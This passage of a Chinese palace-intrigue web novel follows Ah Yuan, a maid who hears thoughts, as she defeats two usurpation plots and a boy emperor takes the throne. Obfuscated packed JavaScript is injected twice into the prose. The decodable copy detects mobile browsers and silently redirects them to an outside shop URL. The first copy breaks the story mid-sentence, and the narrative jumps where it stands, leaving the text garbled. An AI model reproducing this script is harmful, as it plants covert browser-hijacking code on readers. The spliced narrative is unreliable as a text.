阿沅的心底猛地一沉,指尖微微收紧。她没想到,七皇子竟如此急不可耐,竟敢在皇上病重之时,谋划谋逆。她快速扫视四周,听到了御书房外几个侍卫的心声,其中几人的心声竟满是对七皇子的效忠:【七皇子殿下待我们不薄,只要殿下起兵,我们定当全力相助,拿下东宫,拥立殿下为帝。】 显然,七皇子早已买通了御书房的部分侍卫,为谋逆做好了准备。阿沅强压下心底的波澜,悄悄拉了拉太子的衣袖,示意他稍安勿躁。太子虽年幼,却也聪慧,立刻会意,装作什么都不知道,跟着阿沅走进御书房。 御书房内,皇上靠在龙椅上,面色苍白,咳嗽不止,七皇子站在一旁,假意端着茶水,满脸关切。见到太子与阿沅进来,七皇子眼中闪过一丝不易察觉的阴翳,随即又恢复了恭敬的模样,躬身行礼:“见过太子殿下,见过阿沅女官。” 太子躬身行礼:“儿臣见过父皇。”阿沅也连忙福身:“奴婢见过皇上。” 皇上摆了摆手,语气虚弱:“免了,都坐吧。瑾儿,近来学业可有长进?朝中之事,也多学着点,日后这大楚的江山,终究是你的。” 太子躬身应道:“儿臣谨记父皇教诲,每日勤学不辍,朝中之事,也时常向柳太傅与户部尚书请教,定不辜负父皇的期望。” 七皇子听着皇上对太子的期许,心底的嫉妒与恼怒愈发浓烈,【父皇偏心得太明显了,凭什么这江山就该是苏瑾的?我哪里比他差?今日便让你们父子俩,一同去见阎王!】可面上却依旧挂着恭敬的笑容:“太子殿下聪慧过人,又肯勤学,日后定是一位贤明的君主,儿臣定当尽心辅佐太子殿下。” 阿沅坐在一旁,默默听着众人的心声,手指在袖中紧紧攥着,脑海里快速梳理着信息:【七皇子今日前来,便是为了探查皇上的病情,同时安排御书房的侍卫,准备今夜起兵。他的党羽多在京郊的军营中,今夜三更,便会带兵入宫,直取东宫与凝晖宫,同时控制御书房,逼皇上传位。如今御书房的侍卫已有一半被他买通,宫中的守卫也有不少他的人,情况危急。】 她知道,此刻若是贸然揭穿七皇子的阴谋,怕是会打草惊蛇,七皇子狗急跳墙,提前起兵,届时皇上病重,太子身边无兵无将,定然难以抵挡。唯有暗中布局,提前做好准备,才能将七皇子的谋逆势力一网打尽,护皇上、太子与德妃周全。 请安过后,太子与阿沅告辞离开。走出御书房,太子立刻低声问道:“阿沅姐姐,方才你为何拉我衣袖?是不是有什么不对劲?” 阿沅四处看了看,见无人注意,便低声道:“殿下,大事不好,七皇子暗中谋划谋逆,今夜三更,便会带兵入宫,直取东宫与凝晖宫,还买通了御书房的部分侍卫,情况危急。” 太子脸色瞬间惨白,声音微微颤抖:“什么?七皇兄竟敢谋逆?这可如何是好?父皇病重,宫中守卫又有不少他的人,我们根本没有准备啊。” “殿下莫慌。”阿沅按住太子的肩膀,语气坚定,“事到如今,唯有临危决断,提前布局,才能化解危机。七皇子以为我们毫无防备,今夜三更才会起兵,这便是我们的机会。我们还有几个时辰的时间,足够安排一切。” 她快速思索,对着太子低声道:“殿下,你即刻前往柳太傅府中,告知柳太傅七皇子谋逆之事,让柳太傅立刻联络户部尚书等大臣,调动京中禁军,包围皇宫,同时封锁京郊的军营,防止七皇子的党羽带兵入宫。切记,此事一定要隐秘,不可走漏半点风声。” 太子点了点头,眼神渐渐变得坚定:“好,我即刻便去。” “还有,”阿沅又道,“殿下让柳太傅安排一队亲信禁军,悄悄潜入宫中,保护皇上的安全,御书房的侍卫已有一半被买通,皇上的安危至关重要。” “我记住了。”太子说完,便借着出宫的名义,快速前往柳太傅府。 太子走后,阿沅立刻前往凝晖宫,将七皇子谋逆之事告知德妃。德妃闻言,吓得浑身发抖,泪流满面:“这可如何是好?七皇子怎敢如此大逆不道?瑾儿还小,若是他谋逆成功,我们母子还有柳家,岂不是都要死无葬身之地?” “贵妃娘娘莫怕。”阿沅扶着德妃,语气沉稳,“太子殿下已前往柳太傅府中,联络大臣调动禁军,很快便会有消息。如今我们要做的,是做好凝晖宫与东宫的防御,同时掌控宫中的守卫,不让七皇子的人轻易进入。” 她顿了顿,继续道:“娘娘,您即刻下旨,以贵妃的名义召集后宫所有掌事宫女与太监总管,就说宫中近日有异动,让他们即刻带领各宫的侍卫与宫女,前往凝晖宫集结,听候调遣。这些掌事宫女与太监总管,大多是我们一手提拔的,对我们忠心耿耿,定能听从吩咐。” 德妃点了点头,擦干眼泪,强作镇定:“好,我即刻下旨。” 随后,阿沅又前往内务府,找到内务府总管太监李公公。李公公乃皇上的亲信,对皇上与太子忠心耿耿,阿沅将七皇子谋逆之事告知他,李公公当即震怒:“七皇子竟敢谋逆,真是胆大包天!女官放心,老奴定当竭尽全力,助女官与贵妃娘娘平定叛乱,护皇上与太子周全。” 他的心声里满是愤慨与忠诚:【七皇子这等逆子,竟敢做出这等大逆不道之事,老奴定要拼了这条老命,护皇上与太子安全,绝不让逆子得逞。】 阿沅道:“李公公,如今宫中的守卫有不少七皇子的人,还请公公即刻以内务府的名义,传旨调动宫中的御林军,封锁皇宫的所有宫门,严查出入人员,同时加强凝晖宫、东宫与御书房的守卫,不让七皇子的人有可乘之机。” “老奴遵旨!”李公公立刻应道,转身便去安排。 安排好这一切,阿沅又回到凝晖宫。此时,后宫的掌事宫女与太监总管已带着各宫的侍卫与宫女集结在凝晖宫的庭院里,人数多达数百人。阿沅站在高台上,目光扫过众人,语气坚定:“各位,今日召集大家前来,是有一件大事要告知大家。七皇子苏煜大逆不道,暗中谋划谋逆,今夜三更便会带兵入宫,想要谋夺皇位,残害皇上与太子殿下。” 众人闻言,皆大惊失色,议论纷纷。阿沅抬手示意众人安静,继续道:“如今皇上病重,太子殿下年幼,大楚的江山危在旦夕。各位皆是后宫的老人,受皇上与贵妃娘娘的恩宠多年,今日便是各位尽忠之时。若是七皇子谋逆成功,他定会残害忠良,后宫上下,无人能幸免。若是我们能齐心协力,平定叛乱,护皇上与太子殿下周全,皇上与太子殿下定不会亏待各位,加官进爵,赏赐无数。” 她顿了顿,声音陡然拔高:“今日之事,愿随本宫平定叛乱者,站在左侧;若想投靠七皇子,谋逆作乱者,站在右侧。本宫给各位一炷香的时间,自行选择。” 话音落,庭院里陷入一片寂静。众人面面相觑,心底各有思量。有不少人对皇上与太子忠心耿耿,当即走到了左侧:【七皇子谋逆,大逆不道,我们定当竭尽全力,护皇上与太子周全。】也有一些人犹豫不决,站在原地,不知该如何选择:【一边是七皇子,一边是皇上与太子,若是站错队,怕是会死无葬身之地,该如何是好?】还有少数几人,早已被七皇子买通,悄悄想往右侧走。 阿沅看着众人的心思,眼底掠过一丝冷意。她早已安排好自己的亲信,守在庭院两侧,但凡有想往右侧走的,皆被当场拿下。【竟敢投靠逆子,谋逆作乱,留着你们,只会成为祸害。】 那几个被拿下的人吓得连连求饶,却无人理会。其余犹豫不决的人见阿沅下手狠辣,又想到七皇子谋逆乃是大罪,若是成功,也未必会善待他们,当即纷纷走到了左侧,躬身道:“奴婢/奴才愿随女官平定叛乱,护皇上与太子殿下周全!” 阿沅看着众人,满意地点了点头:“好!各位皆是忠良之辈,本宫在此谢过各位。今日之事,若是成功,本宫定当向皇上与太子殿下为各位请功!” 随后,阿沅开始调配人员:让太监总管带领一部分侍卫,前往御书房,协助李公公安排的禁军,保护皇上的安全;让各宫的掌事宫女带领宫女与部分侍卫,前往东宫,加强东宫的防御,严防死守,不让七皇子的人进入;自己则带领剩余的侍卫,守在凝晖宫,同时掌控宫中的各处要道,随时接应各方。 安排完毕,众人立刻各司其职,前往各处布防。凝晖宫内,灯火通明,侍卫们手持兵器,严阵以待,空气中弥漫着紧张的气息。德妃拉着阿沅的手,眼神里满是担忧:“阿沅,我们这样安排,真的能抵挡得住七皇子的进攻吗?” 阿沅拍了拍德妃的手,语气坚定:“娘娘放心,太子殿下已去联络柳太傅,禁军很快便会赶到。我们如今做好防御,只需坚守到禁军到来,便可里应外合,将七皇子的谋逆势力一网打尽。七皇子以为我们毫无防备,定然轻敌,这便是我们的胜算。” 她的心底虽也有一丝紧张,却更多的是坚定。她知道,今日之事,关乎大楚的江山社稷,关乎皇上、太子与德妃的性命,也关乎她自己的未来。她绝不能输,也输不起。 时间一点点流逝,夜色越来越浓,宫中的气氛也愈发紧张。阿沅站在凝晖宫的门口,目光紧紧盯着宫道的尽头,耳朵里听着各方的心声,时刻关注着局势的变化。【御书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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三万禁军立刻朝着七皇子的队伍冲去。七皇子的党羽虽有一万余人,却皆是临时集结,军心涣散,哪里是训练有素的禁军的对手。双方交战不过半个时辰,七皇子的队伍便溃不成军,死伤无数。 七皇子见大势已去,想要骑马逃跑,却被禁军团团围住。他看着周围的禁军,眼中满是绝望与疯狂,大喊道:“我不甘心!我不甘心!苏瑾那小子哪里比我强?凭什么这江山是他的?” 可无论他如何大喊,都无人理会。禁军一拥而上,将七皇子拿下,五花大绑地带到了柳太傅面前。 此时,宫中的叛乱也已平定,七皇子安插在宫中的党羽被尽数拿下,无一漏网。阿沅得知七皇子被擒的消息后,终于松了口气,悬着的心彻底放下。德妃更是喜极而泣,连连对着阿沅道谢:“阿沅,多亏了你,若是没有你,我们母子今日定当性命不保,大楚的江山也定会落入逆子手中。你真是我们母子的福星,也是大楚的福星啊!” 阿沅躬身道:“娘娘言重了,这都是奴婢的本分。能平定叛乱,护皇上、太子殿下与娘娘周全,护大楚江山安稳,是奴婢的荣幸。” 随后,阿沅与德妃一同前往御书房。御书房内,皇上虽依旧病重,却精神好了不少,坐在龙椅上,听着柳太傅的禀报。得知七皇子谋逆被擒,党羽被尽数拿下,皇上龙颜大悦,却也满是痛心:“逆子!真是逆子!朕待他不薄,他竟敢做出这等大逆不道之事,真是枉费朕的一番心血!” 柳太傅躬身道:“皇上息怒,七皇子谋逆,罪该万死,如今已被擒获,还请皇上发落。” 皇上深吸一口气,语气冰冷:“将苏煜打入天牢,严加看管,明日在朝堂之上,公开审问,判以凌迟之刑,以儆效尤!其党羽尽数斩首,家产抄没,家人贬为庶人,永世不得入朝为官!” “臣遵旨!”柳太傅躬身应道。 皇上的目光落在阿沅身上,眼中满是赞许与感激:“阿沅,此次平定叛乱,你居功至伟。若不是你临危不乱,提前布局,朕与瑾儿,还有这大楚的江山,今日便已落入逆子手中。你想要什么赏赐,尽管说,朕定当满足你。” 阿沅躬身行礼,语气恭敬而谦逊:“皇上谬赞,奴婢只是做了自己该做的事。护皇上、太子殿下与大楚江山周全,是奴婢的本分,奴婢不求赏赐。只求皇上身体康健,太子殿下早日成才,大楚江山国泰民安,百姓安居乐业。” 皇上听后,更是连连称赞:“好一个识大体、明大义的丫头!朕能得你相助,是朕的福气,也是大楚的福气!瑾儿,你日后定要好好待阿沅,视她为亲姐,倚重她,信任她,有她在,你这皇位,才能坐得安稳,这大楚的江山,才能长治久安。” 太子连忙躬身应道:“儿臣谨记父皇教诲,日后定当视阿沅姐姐为亲姐,倚重她,信任她,绝不负父皇的期望。” 皇上点了点头,随即下旨:“封阿沅为一品护国女官,赏黄金万两,锦缎千匹,赐居长乐宫主殿,可自由出入皇宫与东宫,无需通传,位同妃嫔,受百官朝拜!” 此旨一出,满室皆惊。一品护国女官,位同妃嫔,受百官朝拜,这等殊荣,古往今来,从未有过。可众人皆心服口服,此次平定叛乱,阿沅居功至伟,这等殊荣,她当之无愧。 阿沅躬身行礼,声音带着几分哽咽:“奴婢谢皇上隆恩!奴婢定当竭尽全力,辅佐太子殿下,为大楚江山鞠躬尽瘁,死而后已!” 这一刻,阿沅知道,自己终于真正站在了这深宫的顶端,真正掌控了自己的命运。从尚书府的底层丫鬟,到皇宫的一品护国女官,她用了五年的时间。 15. 帝星骤陨,宫闱惊变 七皇子谋逆平定半载,大楚朝堂看似海晏河清,太子苏瑾在柳太傅与阿沅的辅佐下,日渐熟稔朝政,每日随皇上临朝听政,处理奏折愈发沉稳,朝中大臣皆赞太子仁厚聪慧,有帝王之相。德妃稳居凝晖宫,柳家权倾朝野,阿沅以一品护国女官之身,总领后宫诸事,兼掌太子东宫事宜,出入宫闱皆有仪仗,虽无后妃名分,却已是大楚最尊贵的女子,满朝文武无人敢直呼其名,皆敬称一声“阿沅女官”。 唯有阿沅知晓,这平静的表象之下,藏着一丝难以言说的不安。皇上的身体自七皇子谋逆后便一日不如一日,汤药不离口,虽有太医院院正亲自照料,却始终不见好转,阿沅时常在御书房听到皇上心底的疲惫与忧虑:【朕时日无多,瑾儿虽聪慧,却终究年幼,柳家势大,阿沅能力卓绝却无根基,恐日后瑾儿难以制衡,大楚江山,怕是要生变数。】 这日清晨,阿沅如往常一般前往御书房伺候皇上早膳,刚行至殿外,便听到殿内传来太医院院正的低泣声,她心头一沉,快步走入殿中,只见皇上卧于龙榻之上,面色惨白如纸,气息微弱,双目紧闭,龙榻旁,太子苏瑾跪坐于地,泪流满面,柳太傅与几位重臣垂首立着,神色凝重。 【皇上油尽灯枯,撑不过今日了。】太医院院正的心声带着绝望,阿沅只觉脑中轰然一响,指尖微微颤抖,她走上前,俯身查看皇上的状况,耳边清晰地听到皇上残存的心声:【瑾儿……护好江山……阿沅……助他……防柳家……】 话音未落,皇上的手缓缓垂落,殿内响起一阵悲戚的哭声,御书房的钟声撞响,一声接一声,穿透宫闱,传遍整个京城——大楚皇帝,骤崩于御书房。 帝星骤陨,朝野震动。按照祖制,太子苏瑾当在皇帝崩后七日,登基为帝,柳太傅为顾命大臣,辅佐新帝处理朝政。可阿沅却从柳尚书的心声里,听到了令人心惊的算计:【皇上崩逝,瑾儿年幼,这大楚的江山,理应由柳家辅佐,不,是由柳家掌控!待瑾儿登基,便请太后下旨,封我为摄政王,总领朝政,阿沅那丫头虽有本事,却只是个女子,翻不起什么风浪,待日后根基稳固,便废了苏瑾,立柳氏子弟为帝!】 阿沅心底冰凉,她从未想过,柳尚书竟有谋逆之心。这些年,柳家因德妃与太子,权柄日盛,朝堂之上半数官员皆是柳家门生,军中也有不少将领受柳家恩惠,如今皇上崩逝,太子年幼,柳尚书便想趁机夺权,篡夺大楚江山。 更让她心惊的是,德妃的心声里,竟也藏着对柳家的纵容与默许:【父亲乃是为了柳家,为了瑾儿,瑾儿年幼,难当大任,由父亲暂掌朝政,也是好事,待瑾儿长大,再交还权柄便是。】德妃从未看透自己父亲的野心,只当柳尚书是为了太子,为了大楚。 此时的东宫,早已被柳尚书安排的侍卫层层包围,美其名曰“保护太子安全”,实则是将太子软禁,隔绝了太子与外界的联系。柳太傅虽有心护着太子,却因手中无兵,被柳尚书以“先帝丧期,不宜妄动”为由,困于府中,不得外出。朝中那些忠于先帝的大臣,要么被柳尚书调离京城,要么被软禁家中,朝堂之上,已成柳家一言堂。 阿沅回到自己的长乐宫,屏退左右,独自坐在殿中,脑中飞速梳理着当前的局势。【柳尚书掌控朝堂,软禁太子,手握京中禁军兵权,德妃被蒙在鼓里,柳家势大,看似无人能挡。可柳尚书急功近利,刚掌权便大肆提拔柳家门生,打压异己,早已引起朝中不少大臣的不满,军中也有将领对柳家专权心生怨怼,这便是破局的关键。】 她的耳边,不断传来各方的心声,柳尚书的得意与狂妄,柳家门生的谄媚与嚣张,被软禁大臣的愤怒与不甘,军中将领的犹豫与观望,还有太子苏瑾在东宫的无助与惶恐:【阿沅姐姐,我该怎么办?舅舅软禁我,不让我见任何人,他是不是想谋夺我的江山?我好怕,你快来救我……】 阿沅闭上眼,指尖摩挲着母亲留下的银簪,眼神渐渐变得坚定。她受先帝重托,护太子登基,守大楚江山,绝不能让柳尚书的阴谋得逞。太子年幼,德妃昏聩,柳家专权,这深宫之中,这朝堂之上,唯有她能撑起这片天,唯有她能扳倒柳家,护大楚江山安稳。 只是,此时的她,看似尊贵,实则手中无兵无将,唯一的依靠,便是这些年在后宫与朝堂积攒的人心,还有那能听心的异能。她知道,想要扳倒柳家,不能硬拼,只能智取,步步为营,借力打力。 入夜,阿沅换上一身普通宫女的衣衫,避开柳尚书安排在长乐宫的眼线,从密道悄悄前往凝晖宫。德妃正守着先帝的灵位垂泪,见阿沅进来,连忙擦去眼泪,哽咽道:“阿沅,你来了,如今皇上崩逝,瑾儿被你舅舅护在东宫,朝中之事皆由你舅舅打理,可我总觉得心里不安,你说,这日子怎么就变成这样了?” 阿沅走到德妃面前,沉声道:“娘娘,您觉得不安,是因为柳尚书并非真心护着太子,他是想借太子年幼,掌控朝政,篡夺大楚江山!” 德妃脸色骤变,连连摇头:“不可能!那是我父亲,是瑾儿的亲舅舅,他怎么会做出这样的事?阿沅,你莫要胡说。” 【父亲怎么会谋逆?他一心为了瑾儿,为了柳家,阿沅定是误会了。】德妃的心声里满是不信,阿沅看着她,心中满是无奈,却也知道,德妃被柳家保护得太好,从未见过人心的险恶,唯有让她亲眼看到柳尚书的野心,她才会醒悟。 阿沅从袖中拿出一封密信,放在德妃面前:“娘娘,这是柳尚书写给柳家子弟的密信,被奴婢的人截获,您看看便知。信中,柳尚书直言要封自己为摄政王,待根基稳固,便废了太子,立柳氏子弟为帝。这便是您的父亲,这便是您口中一心为了瑾儿的亲舅舅!” 德妃颤抖着拿起密信,看完信上的内容,脸色惨白如纸,踉跄着后退几步,跌坐在椅子上,泪如雨下:“不可能……这不可能……父亲他怎么能这样?瑾儿是他的亲外孙,他怎么能忍心谋夺瑾儿的江山?” 【父亲竟真的有谋逆之心!他骗了我,骗了所有人!瑾儿还小,若是柳家篡权,瑾儿定活不成,我这个做母亲的,怎么能眼睁睁看着自己的儿子送命?】德妃的心声里,终于有了恐惧与醒悟,还有对柳尚书的失望与怨恨。 阿沅走到德妃身边,扶住她的肩膀,沉声道:“娘娘,事到如今,您不能再自欺欺人了。柳尚书野心勃勃,若不阻止他,太子必死,柳家必篡夺大楚江山,您这个柳家女儿,也只会成为柳家的棋子,最终落得个身首异处的下场。如今,唯有您能救太子,救大楚江山。” “我?我能做什么?”德妃泪流满面,声音颤抖,“我只是个女子,手无缚鸡之力,父亲掌控着朝堂,掌控着兵权,我什么都做不了。” “娘娘您是先帝的德妃,是太子的生母,是柳家的女儿,这便是您最大的资本。”阿沅一字一句道,“柳尚书如今虽掌控朝堂,却依旧需要借您的身份,安抚后宫,安抚朝中大臣。您可以假意顺从柳尚书,稳住他,让他放松警惕。同时,您以太子生母的身份,下懿旨给那些忠于先帝、对柳家不满的大臣与军中将领,让他们暗中集结力量,等待时机。而奴婢,会在后宫与京城之中,联络各方势力,策反柳家的亲信,寻找柳尚书谋逆的证据。只要我们齐心协力,定能扳倒柳家,护太子登基,守大楚江山。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228623|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>德妃看着阿沅坚定的眼神,听着她条理清晰的谋划,心底的绝望渐渐散去,升起一丝希望。她擦干眼泪,握住阿沅的手,眼神变得坚定:“好,阿沅,我听你的。从今往后,我不再是柳家的女儿,我只是瑾儿的母亲,是大楚先帝的妃嫔。我定当竭尽全力,助你扳倒柳家,救瑾儿,守大楚江山!” 【瑾儿,娘对不起你,让你陷入这般险境。娘定当拼了这条命,护你周全,护你登上皇位。】德妃的心声里,满是决绝与母爱。 阿沅点了点头,与德妃定下计策,便又从密道悄悄返回长乐宫。此时的长乐宫,看似平静,实则早已成为阿沅暗中布局的中心,这些年她提拔的宫女、太监,还有那些受过她恩惠的底层侍卫,皆是她的眼线,遍布宫闱与京城的各个角落,时刻向她传递着柳家的一举一动。 柳尚书自以为掌控了一切,却不知,一张无形的大网,早已在他的头顶悄然展开,而撒网之人,正是他从未放在眼里的,那个出身浣衣局的听心丫鬟——阿沅。 接下来的几日,德妃依计行事,假意顺从柳尚书,对他言听计从,还在后宫设宴,安抚各宫妃嫔,对外营造出“柳家一心辅佐太子,德妃与柳尚书同心同德”的假象。柳尚书见德妃如此,果然放松了警惕,愈发狂妄,竟直接在朝堂之上提出,要太后下旨,封自己为摄政王,总领朝政,朝中大臣虽有不满,却因柳家势大,无人敢反对。 而阿沅,则借着总领后宫诸事的身份,暗中联络各方势力。她先是找到太医院院正,此人受先帝厚恩,对柳家专权早已心生不满,阿沅以先帝遗命相托,太医院院正当即应允,愿全力相助,暗中为阿沅传递消息,还利用自己的身份,策反了柳尚书身边的贴身太医,让其暗中收集柳尚书谋逆的证据。 随后,阿沅又悄悄联络了京中禁军的副统领赵将军。赵将军出身寒门,因战功升至禁军副统领,素来看不惯柳家结党营私,阿沅从他的心声里得知,他早已对柳尚书掌控禁军兵权心生怨怼,只是势单力薄,不敢轻举妄动。阿沅以太子生母德妃的懿旨相赠,许他若扳倒柳家,便封他为禁军统领,掌京中所有兵权,赵将军当即应允,暗中联络军中那些对柳家不满的将领,集结力量,等待时机。 同时,阿沅还利用听心的异能,策反了柳尚书安排在东宫与凝晖宫的不少侍卫。这些侍卫大多是柳家的旁支子弟,或是被柳尚书逼迫而来,心底对柳尚书并无多少忠心,阿沅抓住他们的心思,许他们若倒戈,便既往不咎,还给予厚赏,这些侍卫纷纷倒戈,成为阿沅安插在柳尚书身边的眼线,时刻向阿沅传递着柳尚书的一举一动。 柳尚书对此一无所知,依旧沉浸在掌控朝堂的得意之中,他一边加紧筹备摄政王的册封仪式,一边暗中安排人手,准备在册封仪式之后,便找个借口,废了太子苏瑾,立自己的儿子为帝。他的心声里,满是得意与狂妄:【阿沅?德妃?不过是些女子,翻不起什么风浪。柳家掌控大楚江山,指日可待!】 可他不知道,他的每一个谋划,每一个动作,都被阿沅听得一清二楚,他的每一步,都在阿沅的算计之中。阿沅看着柳尚书一步步走向自己布下的陷阱,眼底掠过一丝冷意。柳尚书,你谋逆夺权,残害忠良,今日的狂妄,便是明日的灭亡。大楚的江山,绝不能落入你这乱臣贼子之手! 长乐宫的灯火,彻夜不熄,阿沅坐在灯下,看着手中收集的柳尚书谋逆的证据,听着各方眼线传递的消息,脑中不断完善着扳倒柳家的计策。她知道,决战的时刻,即将到来。而这一次,她不仅要护太子登基,守大楚江山,还要为自己,为那些被柳家残害的忠良,讨回一个公道。 16. 金銮惊变,临朝称制 柳尚书的摄政王册封仪式,定在先帝崩逝后的第三十日。这一日,京城戒严,柳家的亲信侍卫遍布皇宫的各个角落,金銮殿上,柳家门生与忠于柳家的大臣占了大半,太后端坐于凤椅之上,面色凝重,太子苏瑾被柳尚书安排在太子位上,身边皆是柳家的侍卫,看似尊贵,实则依旧被软禁。 德妃身着素服,立于太后身侧,神色平静,可心底却满是紧张与不安:【阿沅,一切都靠你了。瑾儿的性命,大楚的江山,都系于今日。】她的手,在袖中紧紧攥着,指尖泛白。 柳尚书身着锦袍,立于金銮殿中央,意气风发,接受着众臣的朝拜,他的心声里满是得意:【今日,朕便成了大楚的摄政王,总领朝政,待日后根基稳固,便废了苏瑾,登基为帝,柳家的江山,从今日起,便正式开启了!】 就在礼官高声宣读太后的懿旨,准备册封柳尚书为摄政王之时,阿沅身着一品护国女官的朝服,手持先帝的遗诏,从金銮殿外缓步走入。她身姿挺拔,神色平静,目光冷冷地扫过殿内众人,虽为女子,却自带一股威严,让喧闹的金銮殿,瞬间安静下来。 “阿沅女官,你竟敢擅闯册封大典,可知罪?”柳尚书见阿沅进来,脸色一沉,厉声呵斥,心底却满是疑惑与警惕:【这丫头怎么会来?她不是被我安排的人困在长乐宫了吗?她手里拿的是什么?】 阿沅没有理会柳尚书的呵斥,一步步走到金銮殿中央,对着太后与太子躬身行礼,然后举起手中的遗诏,高声道:“先帝崩逝前,曾留下遗诏,令奴婢辅佐太子,监察朝野,若有乱臣贼子,谋逆夺权,奴婢可代先帝传旨,召集天下忠良,共讨之!今日,柳尚书专权跋扈,软禁太子,提拔党羽,打压异己,意图谋夺大楚江山,罪证确凿,奴婢奉先帝遗诏,废黜柳尚书所有官职,拿下柳家一众乱臣贼子,钦此!” 话音落,阿沅将先帝的遗诏展开,悬挂于金銮殿的横梁之上,遗诏上的字迹,确是先帝亲笔,玉玺印章清晰可见。殿内的大臣们瞬间哗然,那些忠于先帝的大臣,纷纷面露喜色,而柳家门生与忠于柳家的大臣,则面色惨白,不知所措。 柳尚书脸色铁青,厉声怒吼:“一派胡言!这遗诏定是你伪造的!你一个卑贱的丫鬟,竟敢伪造先帝遗诏,谋逆作乱,来人,把她拿下,碎尸万段!” 他身后的亲信侍卫立刻上前,想要捉拿阿沅,可就在此时,金銮殿外传来一阵呐喊声,赵将军率领着禁军冲入殿中,将柳尚书的亲信侍卫团团包围。赵将军手持长剑,立于金銮殿门口,高声道:“柳尚书谋逆夺权,罪证确凿,奉德妃懿旨与阿沅女官之命,拿下柳家一众乱臣贼子,反抗者,格杀勿论!” 柳尚书见状,脸色骤变,不敢置信地看着赵将军:“赵谦!你竟敢背叛我?我待你不薄,你为何要背叛我?” 【怎么会这样?赵谦怎么会反水?他不是我一手提拔的吗?】柳尚书的心声里满是惊慌与不解,阿沅冷冷道:“柳尚书,你结党营私,专权跋扈,残害忠良,早已引起天怒人怨。赵将军乃大楚忠臣,怎会与你这乱臣贼子同流合污?今日,便是你的死期!” 与此同时,阿沅安插在柳家的眼线与策反的侍卫,也在京城各处动手,将柳家的子弟与亲信尽数拿下,柳家在京中的势力,瞬间土崩瓦解。金銮殿上,柳家门生见大势已去,纷纷跪地投降,大呼“饶命”,那些忠于先帝的大臣,则纷纷起身,对着阿沅与太子躬身行礼:“愿奉先帝遗诏,随阿沅女官,拿下柳家乱臣贼子,护太子登基!” 柳尚书见自己的亲信尽数被拿下,朝堂之上已无自己的立足之地,顿时红了眼,抽出腰间的佩剑,朝着太子苏瑾冲去,厉声怒吼:“苏瑾!都是因为你,我才会落得这般下场!我得不到的江山,你也别想得到!今日,我便杀了你,同归于尽!” 他的速度极快,身边的侍卫来不及阻拦,眼看佩剑就要刺到太子身上,阿沅眼疾手快,快步上前,挡在太子身前,手中的玉簪朝着柳尚书的手腕狠狠刺去。这玉簪是母亲留给她的,簪尖被她特意磨尖,此刻竟如利刃一般,刺中了柳尚书的手腕。 “啊!”柳尚书痛呼一声,佩剑掉落在地,手腕鲜血直流。阿沅趁机反手扣住他的胳膊,将他按倒在地,厉声呵斥:“柳尚书,你谋逆夺权,还敢行刺太子,罪加一等,今日,你插翅难飞!” 柳尚书被按在地上,不断挣扎,眼中满是疯狂与怨毒:“阿沅!你这个卑贱的丫头!我柳家权倾朝野,你竟敢扳倒我!我做鬼也不会放过你!” 【我不甘心!我不甘心!柳家的江山,就这么没了!】柳尚书的心声里满是绝望与怨恨,阿沅冷冷看着他,道:“你谋逆夺权,残害忠良,这是你咎由自取。大楚的江山,是先帝的江山,是太子的江山,绝不是你柳家的江山!” 随后,阿沅下令,将柳尚书与柳家一众乱臣贼子打入天牢,等候发落。金銮殿上,尘埃落定,太后看着眼前的一切,看着阿沅沉稳果决的模样,眼底满是赞许。太子苏瑾走到阿沅面前,躬身行礼,声音带着哽咽:“阿沅姐姐,多谢你,救了我,救了大楚江山。” 【阿沅姐姐是大楚的功臣,是我的救命恩人。若不是阿沅姐姐,我今日早已身首异处,大楚江山也早已落入柳家之手。】太子的心声里满是感激与敬重。 阿沅扶起太子,道:“殿下言重了,这是奴婢的本分。如今柳家已倒,朝堂安稳,当尽快举行登基大典,殿下登基为帝,以安民心。” 众臣纷纷附和:“臣等请太子殿下登基为帝!” 太后点了点头,道:“阿沅女官所言极是。先帝崩逝,太子乃正统继承人,即刻下令,三日后举行登基大典,立太子苏瑾为大楚新帝,大赦天下。” 三日后,太子苏瑾的登基大典如期举行。登基大典之上,苏瑾身着龙袍,端坐于龙椅之上,接受众臣的朝拜,成为大楚新帝。德妃被尊为皇太后,居于慈宁宫,柳太傅被封为太师,总领朝政,赵将军被封为禁军统领,掌京中兵权,而阿沅,则因扳倒柳家,护新帝登基,立下不世之功,被新帝苏瑾下旨,封为“镇国长公主”,赐金印紫绶,可自由出入金銮殿,参与朝政,位同亲王,受百官朝拜。 此旨一出,朝野震动,却无人敢反对。阿沅的功绩,有目共睹,若不是她,大楚江山早已落入柳家之手,新帝也早已身首异处。她虽为女子,却有勇有谋,沉稳果决,比朝中许多大臣都更有能力,这“镇国长公主”的封号,她当之无愧。 只是,新帝苏瑾年仅十二岁,虽聪慧懂事,却终究年幼,难以独自处理朝政。柳太傅年事已高,精力有限,朝中虽有忠良大臣,却各有分管,难以形成统一的力量。朝堂之上,虽无柳家专权,却又陷入了群龙无首的境地,各地藩王见新帝年幼,朝政不稳,纷纷蠢蠢欲动,暗中招兵买马,意图谋逆,大楚的江山,再次陷入危机。 慈宁宫中,太后看着奏折上各地藩王的异动,愁容满面,对着阿沅叹道:“阿沅,如今瑾儿年幼,难以处理朝政,柳太傅年事已高,各地藩王又蠢蠢欲动,这大楚的江山,可如何是好?” 【瑾儿太小了,根本撑不起这大楚的江山。各地藩王虎视眈眈,若是他们联手谋逆,瑾儿定挡不住,这大楚的江山,怕是又要生变数。】太后的心声里满是忧虑与无奈。 